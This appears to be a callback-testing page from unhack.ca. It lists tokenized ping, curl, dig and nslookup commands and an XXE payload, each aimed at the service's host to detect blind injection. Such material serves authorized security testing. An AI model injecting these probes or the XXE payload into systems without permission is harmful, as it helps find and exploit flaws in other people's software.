$ ping -c1 -p 0090f501627933b469a893e12ac22f00 unhack.ca
 

$ curl http://unhack.ca/p/90f501627933b469a893e12ac22f
 

$ dig 90f501627933b469a893e12ac22f @unhack.ca
 

$ dig 90f501627933b469a893e12ac22f.ns.unhack.ca
 

C:\> nslookup 90f501627933b469a893e12ac22f unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/90f501627933b469a893e12ac22f">]>
    <foo>&xxe;</foo>